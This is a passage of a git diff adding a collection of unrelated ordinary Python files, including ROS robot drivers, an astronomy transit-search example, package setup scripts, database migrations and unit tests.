old_time = time.time() + + while True: + new_time = time.time() + delta_time = new_time - old_time + old_time = new_time + + commands = read_commands() + + commands = add_noise_function(commands, noise_func) + + robot = update_robot(robot, commands, delta_time) + + draw(window, robot) + + write_sensor_data(robot) + + +if __name__ == "__main__": + main() diff --git a/pool/shard000/Python/0008646_mtce.py b/pool/shard000/Python/0008646_mtce.py new file mode 100644 index 0000000000000000000000000000000000000000..60c83299f5f929a609b30f4a545704942e88cb3d --- /dev/null +++ b/pool/shard000/Python/0008646_mtce.py @@ -0,0 +1,15 @@ +# MetaclassErrors + + +class MetaclassError(Exception): + def __init__(self, info): + self.info = info + + +class BadMultitonIdentifier(MetaclassError): + def __str__(self): + data = ['{0.info[0]} probably is not a good identifier to distinguish', + 'multitones of {0.info[1]}. It might possible not even be', + 'one of the __init__ parameters of the object.', + 'Re-check your object definition.'] + return ' '.join(data).format(self).replace('. ', '.\n') diff --git a/pool/shard000/Python/0008647_bls_example.py b/pool/shard000/Python/0008647_bls_example.py new file mode 100644 index 0000000000000000000000000000000000000000..ebd89a4a1c635e46fa95ce3afbeebab863e83d8b --- /dev/null +++ b/pool/shard000/Python/0008647_bls_example.py @@ -0,0 +1,132 @@ +import cuvarbase.bls as bls +import numpy as np +import matplotlib.pyplot as plt + + +def phase(t, freq, phi0=0.): + phi = (t * freq - phi0) + phi -= np.floor(phi) + + return phi + + +def transit_model(t, freq, y0=0.0, delta=1., q=0.01, phi0=0.5): + phi = phase(t, freq, phi0=phi0) + transit = phi < q + + y = y0 * np.ones_like(t) + y[transit] -= delta + return y + + +def data(ndata=100, baseline=1, freq=10, sigma=1., **kwargs): + t = baseline * np.sort(np.random.rand(ndata)) + y = transit_model(t, freq, **kwargs) + dy = sigma * np.ones_like(t) + + y += dy * np.random.randn(len(t)) + + return t, y, dy + + +def plot_bls_model(ax, y0, delta, q, phi0, **kwargs): + phi_plot = np.linspace(0, 1, 50./q) + y_plot = transit_model(phi_plot, 1., y0=y0, + delta=delta, q=q, phi0=phi0) + + ax.plot(phi_plot, y_plot, **kwargs) + + +def plot_bls_sol(ax, t, y, dy, freq, q, phi0, **kwargs): + w = np.power(dy, -2) + w /= sum(w) + + phi = phase(t, freq, phi0=phi0) + transit = phi < q + + def ybar(mask): + return np.dot(w[mask], y[mask]) / sum(w[mask]) + + y0 = ybar(~transit) + delta = y0 - ybar(transit) + + ax.scatter((phi[~transit] + phi0) % 1.0, y[~transit], + c='k', s=1, alpha=0.5) + ax.scatter((phi[transit] + phi0) % 1.0, y[transit], + c='r', s=1, alpha=0.5) + plot_bls_model(ax, y0, delta, q, phi0, **kwargs) + + ax.set_xlim(0, 1) + ax.set_xlabel('$\phi$ ($f = %.3f$)' % (freq)) + ax.set_ylabel('$y$') + +# set the transit parameters +transit_kwargs = dict(freq=0.1, + q=0.1, + y0=10., + sigma=0.002, + delta=0.05, + phi0=0.5) + +# generate data with a transit +t, y, dy = data(ndata=300, + baseline=365., + **transit_kwargs) + +# set up search parameters +search_params = dict(qmin=1e-2, + qmax=0.5, + + # The logarithmic spacing of q + dlogq=0.1, + + # Number of overlapping phase bins + # to use for finding the best phi0 + noverlap=3) + +# derive baseline from the data for consistency +baseline = max(t) - min(t) + +# df ~ qmin / baseline +df = search_params['qmin'] / baseline +fmin = 2. / baseline +fmax = 2. + +nf = int(np.ceil((fmax - fmin) / df)) +freqs = fmin + df * np.arange(nf) + +bls_power, sols = bls.eebls_gpu(t, y, dy, freqs, + **search_params) + +# best BLS fit +q_best, phi0_best = sols[np.argmax(bls_power)] +f_best = freqs[np.argmax(bls_power)] + +# Plot results +f, (ax_bls, ax_true, ax_best) = plt.subplots(1, 3, figsize=(9, 3)) + +# Periodogram +ax_bls.plot(freqs, bls_power) +ax_bls.axvline(transit_kwargs['freq'], + ls=':', color='k', label="$f_0$") +ax_bls.axvline(f_best, ls=':', color='r', + label='BLS $f_{\\rm best}$') +ax_bls.set_xlabel('freq.') +ax_bls.set_ylabel('BLS power') + +# True solution +plot_bls_sol(ax_true, t, y, dy, + transit_kwargs['freq'], + transit_kwargs['q'], + transit_kwargs['phi0']) + +# Best-fit solution +plot_bls_sol(ax_best, t, y, dy, + f_best, q_best, phi0_best) + + +ax_true.set_title("True parameters") +ax_best.set_title("Best BLS parameters") + +f.tight_layout() +plt.show() diff --git a/pool/shard000/Python/0008649_init__.py b/pool/shard000/Python/0008649_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..708dab9cde802d76e45563d9fff7f387732f6337 --- /dev/null +++ b/pool/shard000/Python/0008649_init__.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# @Author: abhishek +# @Email: abhishek@zeroth.me +# @Date: 2015-06-01 10:56:26 +# @License: Please read LICENSE file in project root. +# @Last Modified by: abhishek +# @Last Modified time: 2015-06-10 16:48:55 + +# plugin name is just being use for debug purpose +# it has nothing to do with actual plugin loader +# plugin loader totally depend on `path, directory name and type` +__plugin_name__ = 'new' +__plugin_type__ = 'action' + +import os +import sys +import shutil + +dir_name = None +def _init_plugin_(args, config): + #TODO: build can have arguments + if(len(args)<2): + print "new needs one argument use it like muld new " + sys.exit(1) + + global dir_name + dir_name = args[1] + return True + + +def _run_plugin_(): + new_plugin_path = os.path.dirname(os.path.abspath(__file__)) + cwd = os.getcwdu() + template_path = os.path.join(new_plugin_path, "site_template") + global dir_name + if(os.path.exists(template_path)): + if( not os.path.exists(os.path.join(cwd, dir_name))): + shutil.copytree(template_path, os.path.join(cwd, dir_name)) + else: + print "%s already exists delete it or choos the new name which you want to create" % os.path.join(cwd, dir_name) diff --git a/pool/shard000/Python/0008656_package.py b/pool/shard000/Python/0008656_package.py new file mode 100644 index 0000000000000000000000000000000000000000..1bf4674bb2ca568e1145eb41b883baee0108b84e --- /dev/null +++ b/pool/shard000/Python/0008656_package.py @@ -0,0 +1,61 @@ +############################################################################## +# Copyright (c) 2013-2017, Lawrence Livermore National Security, LLC. +# Produced at the Lawrence Livermore National Laboratory. +# +# This file is part of Spack. +# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. +# LLNL-CODE-647188 +# +# For details, see https://github.com/llnl/spack +# Please also see the NOTICE and LICENSE files for our notice and the LGPL. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License (as +# published by the Free Software Foundation) version 2.1, February 1999. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and +# conditions of the GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +############################################################################## +from spack import * +import os + + +class Signalp(Package): + """SignalP predicts the presence and location of signal peptide cleavage + sites in amino acid sequences from different organisms: Gram-positive + bacteria, Gram-negative bacteria, and eukaryotes. + Note: A manual download is required for SignalP. + Spack will search your current directory for the download file. + Alternatively, add this file to a mirror so that Spack can find it. + For instructions on how to set up a mirror, see + http://spack.readthedocs.io/en/latest/mirrors.html""" + + homepage = "http://www.cbs.dtu.dk/services/SignalP/" + url = "file://{0}/signalp-4.1f.Linux.tar.gz".format(os.getcwd()) + + version('4.1f', 'a9aeb66259202649c959846f3f4d9744') + + depends_on('perl', type=('build', 'run')) + depends_on('gnuplot') + + def patch(self): + edit = FileFilter('signalp') + edit.filter("ENV{SIGNALP} = .*", + "ENV{SIGNALP} = '%s'" % self.prefix) + + def install(self, spec, prefix): + mkdirp(prefix.share.man) + install('signalp', prefix) + install('signalp.1', prefix.share.man) + install_tree('bin', prefix.bin) + install_tree('lib', prefix.lib) + install_tree('syn', prefix.syn) + + def setup_environment(self, spack_env, run_env): + run_env.prepend_path('PATH', prefix) diff --git a/pool/shard000/Python/0008657_528cfcb91ede_add_bitrate_to_channels_for_ip.py b/pool/shard000/Python/0008657_528cfcb91ede_add_bitrate_to_channels_for_ip.py new file mode 100644 index 0000000000000000000000000000000000000000..4b333b3f762e0ad3b6c9168877fa32c9d73e5f7b --- /dev/null +++ b/pool/shard000/Python/0008657_528cfcb91ede_add_bitrate_to_channels_for_ip.py @@ -0,0 +1,26 @@ +"""Add bitrate to channels for ip + +Revision ID: 528cfcb91ede +Revises: 2450ae9222bd +Create Date: 2015-05-30 16:48:05.159741 + +""" + +# revision identifiers, used by Alembic. +revision = '528cfcb91ede' +down_revision = '2450ae9222bd' + +from alembic import op +import sqlalchemy as sa + + +def upgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.add_column('channel', sa.Column('bitrate', sa.Integer(), nullable=True)) + ### end Alembic commands ### + + +def downgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.drop_column('channel', 'bitrate') + ### end Alembic commands ### diff --git a/pool/shard000/Python/0008662_test_mysql.py b/pool/shard000/Python/0008662_test_mysql.py new file mode 100644 index 0000000000000000000000000000000000000000..291f44ad634b1b84acb6b9c11c04f042818b1ed3 --- /dev/null +++ b/pool/shard000/Python/0008662_test_mysql.py @@ -0,0 +1,54 @@ +# -*- coding: utf-8 -*- + +# Copyright (c) 2015 OpenStack Foundation +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from oslo_utils import encodeutils +from testtools import testcase + +import tooz +from tooz import coordination +from tooz import tests + + +class TestMySQLDriver(testcase.TestCase): + + def _create_coordinator(self, url): + + def _safe_stop(coord): + try: + coord.stop() + except tooz.ToozError as e: + message = encodeutils.exception_to_unicode(e) + if (message != 'Can not stop a driver which has not' + ' been started'): + raise + + coord = coordination.get_coordinator(url, + tests.get_random_uuid()) + self.addCleanup(_safe_stop, coord) + return coord + + def test_connect_failure_invalid_hostname_provided(self): + c = self._create_coordinator("mysql://invalidhost/test") + self.assertRaises(coordination.ToozConnectionError, c.start) + + def test_connect_failure_invalid_port_provided(self): + c = self._create_coordinator("mysql://localhost:54/test") + self.assertRaises(coordination.ToozConnectionError, c.start) + + def test_connect_failure_invalid_hostname_and_port_provided(self): + c = self._create_coordinator("mysql://invalidhost:54/test") + self.assertRaises(coordination.ToozConnectionError, c.start) diff --git a/pool/shard000/Python/0008663_point3d_based_servoing_policy.py b/pool/shard000/Python/0008663_point3d_based_servoing_policy.py new file mode 100644 index 0000000000000000000000000000000000000000..03f9704834a1238b90e1cfd3ddf2d10f4c0d8868 --- /dev/null +++ b/pool/shard000/Python/0008663_point3d_based_servoing_policy.py @@ -0,0 +1,50 @@ +import numpy as np +from citysim3d.policies import PointBasedServoingPolicy + + +def get_interaction_matrix_XYZ(X, Y, Z): + L = np.array([[-1, 0, 0, 0, -Z, Y], + [0, -1, 0, Z, 0, -X], + [0, 0, -1, -Y, X, 0]]) + return L + + +class Point3dBasedServoingPolicy(PointBasedServoingPolicy): + def __init__(self, env, lambda_=1.0, use_car_dynamics=False): + self.env = env + self.lambda_ = lambda_ + self.use_car_dynamics = use_car_dynamics + + def act(self, obs): + points_XYZ = obs['points'] + target_points_XYZ = obs['target_points'] + + s_target = np.concatenate(target_points_XYZ) + + if self.use_car_dynamics: + # apply zero action to observe changes that are independent from the action. then, restore states. + random_state = np.random.get_state() + state = self.env.get_state() + action = np.zeros(self.env.action_space.shape) + obs, _, _, _ = self.env.step(action) + next_points_XYZ = obs['points'] + if next_points_XYZ is None: + next_points_XYZ = points_XYZ + s = np.concatenate(next_points_XYZ) + self.env.set_state(state) + np.random.set_state(random_state) + else: + s = np.concatenate(points_XYZ) + + L = [] + for point_XYZ, target_point_XYZ in zip(points_XYZ, target_points_XYZ): + L.append(get_interaction_matrix_XYZ(*point_XYZ)) + L = np.concatenate(L) + + try: + action = - self.lambda_ * np.linalg.solve(L.T.dot(L), L.T.dot(s - s_target)) + except np.linalg.linalg.LinAlgError: + action = np.zeros(self.env.action_space.shape) + + action = self.transform_camera_to_inertial(action) + return action diff --git a/pool/shard000/Python/0008668_test_publish_failures.py b/pool/shard000/Python/0008668_test_publish_failures.py new file mode 100644 index 0000000000000000000000000000000000000000..5cb8691ee96312d30e87ef0a53059a4b38be6f6c --- /dev/null +++ b/pool/shard000/Python/0008668_test_publish_failures.py @@ -0,0 +1,41 @@ +import unittest + +import werks.bus + +class TestFailure(Exception): + + def __init__(self, *args, **kwargs): + Exception.__init__(self, *args, **kwargs) + + +class FailingEventHandler(object): + + def callback(self): + raise TestFailure() + + +class BusSubscriberExceptionTestCase(unittest.TestCase): + + def test_exception_thrown(self): + b = werks.bus.EventBus() + cb = FailingEventHandler() + b.subscribe("ch1", cb.callback) + with self.assertRaises(werks.bus.PublishFailures): + b.publish("ch1") + + + def test_nested_exeception_thrown(self): + b = werks.bus.EventBus() + cb = FailingEventHandler() + b.subscribe("ch1", cb.callback) + try: + b.publish("ch1") + self.fail("publish should have thrown") + except werks.bus.PublishFailures as err: + nested = err.get_instances() + self.assertTrue( len(nested) == 1 ) + self.assertIsInstance( nested[0], TestFailure ) + self.assertTrue( err.__bool__() ) + # + # just exercise the __str__ method + string = err.__str__() diff --git a/pool/shard000/Python/0008669_setup.py b/pool/shard000/Python/0008669_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..01eabe5c6c9efd7d09c150e0c8a4460ecc7796c9 --- /dev/null +++ b/pool/shard000/Python/0008669_setup.py @@ -0,0 +1,76 @@ +# Copyright 2014 Donald Stufft +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +from __future__ import absolute_import, division, print_function + +import os + +import setuptools + +base_dir = os.path.dirname(__file__) + +with open(os.path.join(base_dir, "readme", "__about__.py")) as f: + about = {} + exec(f.read(), about) + +with open(os.path.join(base_dir, "README.rst")) as f: + long_description = f.read() + + +setuptools.setup( + name=about["__title__"], + version=about["__version__"], + + description=about["__summary__"], + long_description=long_description, + license=about["__license__"], + url=about["__uri__"], + + author=about["__author__"], + author_email=about["__email__"], + + classifiers=[ + "Intended Audience :: Developers", + "License :: OSI Approved :: Apache Software License", + "Natural Language :: English", + "Operating System :: MacOS :: MacOS X", + "Operating System :: POSIX", + "Operating System :: POSIX :: BSD", + "Operating System :: POSIX :: Linux", + "Operating System :: Microsoft :: Windows", + "Programming Language :: Python", + "Programming Language :: Python :: 2", + "Programming Language :: Python :: 2.6", + "Programming Language :: Python :: 2.7", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.2", + "Programming Language :: Python :: 3.3", + "Programming Language :: Python :: Implementation :: CPython", + "Programming Language :: Python :: Implementation :: PyPy", + ], + + install_requires=[ + "bleach", + "docutils", + "Pygments", + "six", + ], + + entry_points={ + "distutils.commands": [ + "check = readme.integration.distutils:Check", + ], + }, + + packages=setuptools.find_packages(exclude=["tests", "tests.*"]), +) diff --git a/pool/shard000/Python/0008671_test-time.py b/pool/shard000/Python/0008671_test-time.py new file mode 100644 index 0000000000000000000000000000000000000000..2b21a047e07d3fa2d5db6f30ca35bd82e52f1e36 --- /dev/null +++ b/pool/shard000/Python/0008671_test-time.py @@ -0,0 +1,55 @@ +# -*- coding: utf-8 -*- +import logging +if __name__ == '__main__': + logging.basicConfig() +_log = logging.getLogger(__name__) +import pyxb +import unittest +import pyxb.binding.datatypes as xsd +import datetime + +class Test_time (unittest.TestCase): + + def verifyTime (self, tm, with_usec=True, with_adj=(0,0), with_tzinfo=True): + (hour_adj, minute_adj) = with_adj + self.assertEqual(12 + hour_adj, tm.hour) + self.assertEqual(14 + minute_adj, tm.minute) + self.assertEqual(32, tm.second) + if with_usec: + self.assertEqual(123400, tm.microsecond) + self.assertEqual(with_tzinfo, tm.tzinfo is not None) + + def testBad (self): + self.assertRaises(pyxb.SimpleTypeValueError, xsd.time, '12: 14: 32') + self.assertRaises(pyxb.SimpleTypeValueError, xsd.time, '12:14:32.Z') + self.assertRaises(pyxb.SimpleTypeValueError, xsd.time, '12:14:32.123405:00') + self.assertRaises(pyxb.SimpleTypeValueError, xsd.time, '12:14:32.1234+05') + + def testFromText (self): + self.verifyTime(xsd.time('12:14:32'), with_usec=False, with_tzinfo=False) + self.verifyTime(xsd.time('12:14:32.1234'), with_tzinfo=False) + self.verifyTime(xsd.time('12:14:32Z'), with_usec=False) + self.verifyTime(xsd.time('12:14:32.1234Z')) + self.verifyTime(xsd.time('12:14:32.1234+05:00'), with_adj=(-5,0)) + self.verifyTime(xsd.time('12:14:32.1234Z')) + self.verifyTime(xsd.time(' 12:14:32', _from_xml=True), with_usec=False, with_tzinfo=False) + self.verifyTime(xsd.time('12:14:32 ', _from_xml=True), with_usec=False, with_tzinfo=False) + + def testArguments (self): + self.verifyTime(xsd.time(12, 14, 32), with_usec=False, with_tzinfo=False) + self.verifyTime(xsd.time(12, 14, 32, 123400), with_tzinfo=False) + + def testXsdLiteral (self): + dt = xsd.time('12:14:32Z') + self.assertEqual('12:14:32Z', dt.xsdLiteral()) + self.assertTrue(dt.tzinfo is not None) + self.assertEqual('07:14:32Z', xsd.time('12:14:32+05:00').xsdLiteral()) + self.assertEqual('17:14:32Z', xsd.time('12:14:32-05:00').xsdLiteral()) + self.assertEqual('17:14:32.1234Z', xsd.time('12:14:32.123400-05:00').xsdLiteral()) + # No zone info + dt = xsd.time('12:14:32') + self.assertEqual('12:14:32', dt.xsdLiteral()) + self.assertFalse(dt.tzinfo is not None) + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard000/Python/0008673_setup.py b/pool/shard000/Python/0008673_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..77195ce0683414995e2cbb93e787e117de4b7d5e --- /dev/null +++ b/pool/shard000/Python/0008673_setup.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python +import os + +# Including all datafiles +datadir = os.path.join('bin/templates') +datafiles = [(d, [os.path.join(d,f) for f in files]) + for d, folders, files in os.walk(datadir)] + +from distutils.core import setup +setup( + name = 'bootdev', + #packages = ['bootdev'], # this must be the same as the name above + version = '0.2.10', + description = 'Bootdev command for AWS deployments', + author = 'chankongching', + author_email = 'chankongching@gmail.com', + url = 'https://github.com/chankongching/bootdev', # use the URL to the github repo + download_url = 'https://github.com/chankongching/bootdev/tarball/0.1', + keywords = ['testing', 'logging', 'example'], # arbitrary keywords + license='MIT', + scripts=['bin/bootdev'], + include_package_data = True, + data_files = datafiles, + #data_files = [('', ['templates/*.template'])], + #package_data={'bootdev':['templates/*.template']}, + install_requires=[ + 'boto3', + 'awscli' + ], + classifiers=[ + # How mature is this project? Common values are + # 3 - Alpha + # 4 - Beta + # 5 - Production/Stable + 'Development Status :: 3 - Alpha', + + # Indicate who your project is intended for + 'Intended Audience :: Developers', + 'Topic :: Software Development :: Build Tools', + + # Pick your license as you wish (should match "license" above) + 'License :: OSI Approved :: MIT License', + + # Specify the Python versions you support here. In particular, ensure + # that you indicate whether you support Python 2, Python 3 or both. + #'Programming Language :: Python :: 2', + #'Programming Language :: Python :: 2.6', + 'Programming Language :: Python :: 2.7', + #'Programming Language :: Python :: 3', + #'Programming Language :: Python :: 3.2', + #'Programming Language :: Python :: 3.3', + #'Programming Language :: Python :: 3.4', + ], +) diff --git a/pool/shard000/Python/0008676_utils.py b/pool/shard000/Python/0008676_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..078a74d758d23673a1863e318b951e6cfa2dee06 --- /dev/null +++ b/pool/shard000/Python/0008676_utils.py @@ -0,0 +1,85 @@ +# -*- coding: utf-8 -*- +import os, json, codecs + +from django.conf import settings + +DIR = os.path.join(settings.BASE_DIR, 'dump') + + +def get_current_version(): + """ Returns current PROJECT version. This is useful for static files builds, + e.g. scripts and styles. This way we can append common suffx for all files + as well as for HTML tags later. + """ + try: + v_file = open(os.path.join(settings.BASE_DIR, 'VERSION')) + except IOError: + return '0.0.0' + version = v_file.read().strip() + v_file.close() + return version + + +def serialize_item(model): + """ Changes the values of model fields on a serialized value. It takes + a concrete instance of the model as an argument and returns a dictionary. """ + model_dict = {} + for key, val in model.__dict__.iteritems(): + if key.startswith('_'): + continue + elif type(model.__dict__[key]).__name__ == 'ImageFieldFile': + model_dict.update({key: model.__dict__[key].path}) + elif type(model.__dict__[key]).__name__ == 'datetime': + model_dict.update({key: model.__dict__[key].isoformat()}) + else: + model_dict.update({key: model.serializable_value(key)}) + return model_dict + + +def serialize_models(model_class): + """ + Serializes all objects from a given model and returns the data in json format. + """ + model_data = [] + for item in model_class.objects.all(): + model_data.append(serialize_item(item)) + return json.dumps(model_data) + + +def export_items(model_class): + """ Exports all objects connected with a given model (class objects need + to be passed as a function parameter) to a universal JSON format and + saves the results in a file in a proper folder. """ + dirname = os.path.join(DIR, model_class.__module__.split('.')[0].lower()) + if not os.path.isdir(dirname): + os.mkdir(dirname) + filename = os.path.join(dirname, model_class.__name__.lower() + '.json') + f = codecs.open(filename, 'w+', 'utf-8') + f.write(serialize_models(model_class)) + f.close() + + +def load_ideas(): + """ An example of a how the above function can be used in an idea. This + function is written 'as once', therefore it will not work without + corrections. + """ + from django.contrib.auth.models import User + from locations.models import Location + from ideas.models import Idea + from .helpers import date_from_iso + f = codecs.open(os.path.join(DIR, 'ideas' ,'idea.json'), 'r', 'utf-8') + data = json.loads(f.read()) + for l in data: + try: + idea = Idea.objects.create( + creator = User.objects.get(pk=l['creator_id']), + location = Location.objects.get(pk=l['location_id']), + name = l['name'], + description = l['description'], + status = l['status'], + date_created = date_from_iso(l['date_created']), + date_edited = date_from_iso(l['date_edited']) + ) + except Exception as ex: + print ex.message diff --git a/pool/shard000/Python/0008682_base.py b/pool/shard000/Python/0008682_base.py new file mode 100644 index 0000000000000000000000000000000000000000..e8935ec762189676236d516cccc7e06febc823d9 --- /dev/null +++ b/pool/shard000/Python/0008682_base.py @@ -0,0 +1,76 @@ +# -*- coding: utf-8 -*- + +from builtins import object +import re + +from csv_schema.exceptions import ImproperValueException + + +class BaseColumn(object): + + """Base for all column classes.""" + + value_template = '' # Schema of stored value + improper_type_error_msg = u'Incompatible data type' + no_blank_error_msg = u'This column can not be empty' + + _instance_counter = 0 # Counts number of instances. Needed in field ordering + + def __init__(self, **kwargs): + self.options = kwargs + self.blank = kwargs.get('blank', False) + self._instance_counter = BaseColumn._instance_counter # Override class attribute + BaseColumn._instance_counter += 1 + + def is_proper_value_format(self, raw_val): + """Check if value has proper schema. + + :param raw_val: raw value from file + :type raw_val: str + :returns: True if ok, False if not + :rtype: bool + + """ + return bool(re.match(self.value_template, raw_val)) + + def convert(self, raw_val): + """Convert raw data to Python object. + + :param raw_val: raw data + :type raw_val: str + :returns: Python object + :rtype: the one you want + + """ + raise NotImplementedError + + def check_restriction(self, value): + """Execute check of optional restriction. + Raises ImproperValueRestrictionException when value does not meet restriction. + + :param value: converted value + :type value: the same as that returned by self.convert + + """ + pass + + def clean(self, raw_value): + """Check if data piece assigned to this column is correct and return appropriate Python object. + + :param raw_value: uncleaned value + :type raw_value: str + :returns: cleaned value + :rtype: object + + """ + if not raw_value: + if self.blank: + return raw_value + else: + raise ImproperValueException(self.no_blank_error_msg) + if self.is_proper_value_format(raw_value): + converted_value = self.convert(raw_value) + self.check_restriction(converted_value) + return converted_value + else: + raise ImproperValueException(self.improper_type_error_msg) diff --git a/pool/shard000/Python/0008688_0000.py b/pool/shard000/Python/0008688_0000.py new file mode 100644 index 0000000000000000000000000000000000000000..2a50df6c74ba4ae345657ede91a754ca0fbf6392 --- /dev/null +++ b/pool/shard000/Python/0008688_0000.py @@ -0,0 +1,12 @@ + +from PIL import Image, ImageDraw, ImageFont + +def add_num(): + im = Image.open('in.jpg') + xsize, ysize = im.size + draw = ImageDraw.Draw(im) + font = ImageFont.truetype("arial.ttf", xsize // 3) + draw.text((ysize // 5 * 4, 0), '3', (250,128,114), font) + im.save('out.jpg') + +add_num() diff --git a/pool/shard000/Python/0008702_motors.py b/pool/shard000/Python/0008702_motors.py new file mode 100644 index 0000000000000000000000000000000000000000..7530f667c8edf78a964eff8b69da5cfcabb4240b --- /dev/null +++ b/pool/shard000/Python/0008702_motors.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python +#encoding: utf8 +import sys, rospy, math +from pimouse_ros.msg import MotorFreqs +from geometry_msgs.msg import Twist +from std_srvs.srv import Trigger, TriggerResponse +from pimouse_ros.srv import TimedMotion + +class Motor(): + def __init__(self): + if not self.set_power(False): sys.exit(1) + + rospy.on_shutdown(self.set_power) + self.sub_raw = rospy.Subscriber('motor_raw', MotorFreqs, self.callback_raw_freq) + self.sub_cmd_vel = rospy.Subscriber('cmd_vel', Twist, self.callback_cmd_vel) + self.srv_on = rospy.Service('motor_on', Trigger, self.callback_on) + self.srv_off = rospy.Service('motor_off', Trigger, self.callback_off) + self.srv_tm = rospy.Service('timed_motion', TimedMotion, self.callback_tm) + self.last_time = rospy.Time.now() + self.using_cmd_vel = False + + def set_power(self,onoff=False): + en = "/dev/rtmotoren0" + try: + with open(en,'w') as f: + f.write("1\n" if onoff else "0\n") + self.is_on = onoff + return True + except: + rospy.logerr("cannot write to " + en) + + return False + + def set_raw_freq(self,left_hz,right_hz): + if not self.is_on: + rospy.logerr("not enpowered") + return + + try: + with open("/dev/rtmotor_raw_l0",'w') as lf,\ + open("/dev/rtmotor_raw_r0",'w') as rf: + lf.write(str(int(round(left_hz))) + "\n") + rf.write(str(int(round(right_hz))) + "\n") + except: + rospy.logerr("cannot write to rtmotor_raw_*") + + def callback_raw_freq(self,message): + self.set_raw_freq(message.left_hz,message.right_hz) + + def callback_cmd_vel(self,message): + forward_hz = 80000.0*message.linear.x/(9*math.pi) + rot_hz = 400.0*message.angular.z/math.pi + self.set_raw_freq(forward_hz-rot_hz, forward_hz+rot_hz) + + self.using_cmd_vel = True + self.last_time = rospy.Time.now() + + def onoff_response(self,onoff): + d = TriggerResponse() + d.success = self.set_power(onoff) + d.message = "ON" if self.is_on else "OFF" + return d + + def callback_on(self,message): return self.onoff_response(True) + def callback_off(self,message): return self.onoff_response(False) + + def callback_tm(self,message): + if not self.is_on: + rospy.logerr("not enpowered") + return False + + dev = "/dev/rtmotor0" + try: + with open(dev,'w') as f: + f.write("%d %d %d\n" % + (message.left_hz,message.right_hz,message.duration_ms)) + + except: + rospy.logerr("cannot write to " + dev) + return False + + return True + +if __name__ == '__main__': + rospy.init_node('motors') + m = Motor() + + rate = rospy.Rate(10) + while not rospy.is_shutdown(): + if m.using_cmd_vel and rospy.Time.now().to_sec() - m.last_time.to_sec() >= 1.0: + m.set_raw_freq(0,0) + m.using_cmd_vel = False + rate.sleep() diff --git a/pool/shard000/Python/0008704_helper.py b/pool/shard000/Python/0008704_helper.py new file mode 100644 index 0000000000000000000000000000000000000000..78a112f2fdfb53994ef8a95e08e13e936e32ab84 --- /dev/null +++ b/pool/shard000/Python/0008704_helper.py @@ -0,0 +1,47 @@ +import json +import re + +non_letter_finder = re.compile('\W') + + +def value_for_cypher(value): + """ + returns the value in cypher form + + Parameters + ---------- + value : str, list, or boolean + + Returns + ------- + v : str + a string formatted for cypher + """ + if isinstance(value, str): + return "'{}'".format(value) + if isinstance(value, list): + return json.dumps(value) + else: + v = "{}".format(value) + if isinstance(value, bool): + v = v.lower() + return v + + +def key_for_cypher(key): + """ + Checks if key is a non-letter, if it is, turns it into a string + + Parameters + ---------- + key : letter or non-letter + + Returns + ------- + key : str + key made into a string + """ + key = key.replace("`",'') + if non_letter_finder.search(key) is not None: + return "`{}`".format(key) + return key diff --git a/pool/shard000/Python/0008705_main__.py b/pool/shard000/Python/0008705_main__.py new file mode 100644 index 0000000000000000000000000000000000000000..704adb86e3228371ef93356203522a8aa1be0861 --- /dev/null +++ b/pool/shard000/Python/0008705_main__.py @@ -0,0 +1,24 @@ +try: + import j2p2j +except ImportError: + import sys, os + sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..', '..')) + import j2p2j + +class MyApp(j2p2j.Application): + pass + +class MyClient(j2p2j.Client): + def __init__(self): + self.counter = 0 + + def increment(self): + self.counter += 1 + return self.counter + + def multiply(self, first=1, second=1): + return {'answer': first*second} + +if __name__ == '__main__': + a = MyApp('appFiles/index.html', MyClient) + a.run() \ No newline at end of file diff --git a/pool/shard000/Python/0008708_Controller1.py b/pool/shard000/Python/0008708_Controller1.py new file mode 100644 index 0000000000000000000000000000000000000000..db884da76fb84885fddf945d75dac573a5e2ab35 --- /dev/null +++ b/pool/shard000/Python/0008708_Controller1.py @@ -0,0 +1,274 @@ +#!/usr/bin/env python +# -*- coding:utf-8 -*- + +""" This scripts is the first attempt to create a controller node for our project. + +It is in charge of interpreting the simulation parameters, reacting to events from +the robots and sending back control events. + +May the Force be with us. """ + +from Component import Component +from Graph import Graph +from State import State +from Task import Task +from RobotHandler import RobotHandler +from ebc.msg import Event +from ebc.msg import Task as TaskMsg +import rospy +import sys +import json +import roslaunch + + + +class Controller ( Component ): + """ + This is a controller. It is a runnable component of our project. + It ensures that the system will perform the tasks. + """ + + def loadConfig( self ): + """ This method load the config file """ + + config_file_n = rospy.get_param( 'config_file_name' ) + + try: + self.config = json.load( open ( config_file_n, 'r' ) ) + + except: + e = sys.exc_info()[0] + self.display("Error opening config file. %s" % e) + raise + + + + def createListGraph( self, sectors ): + 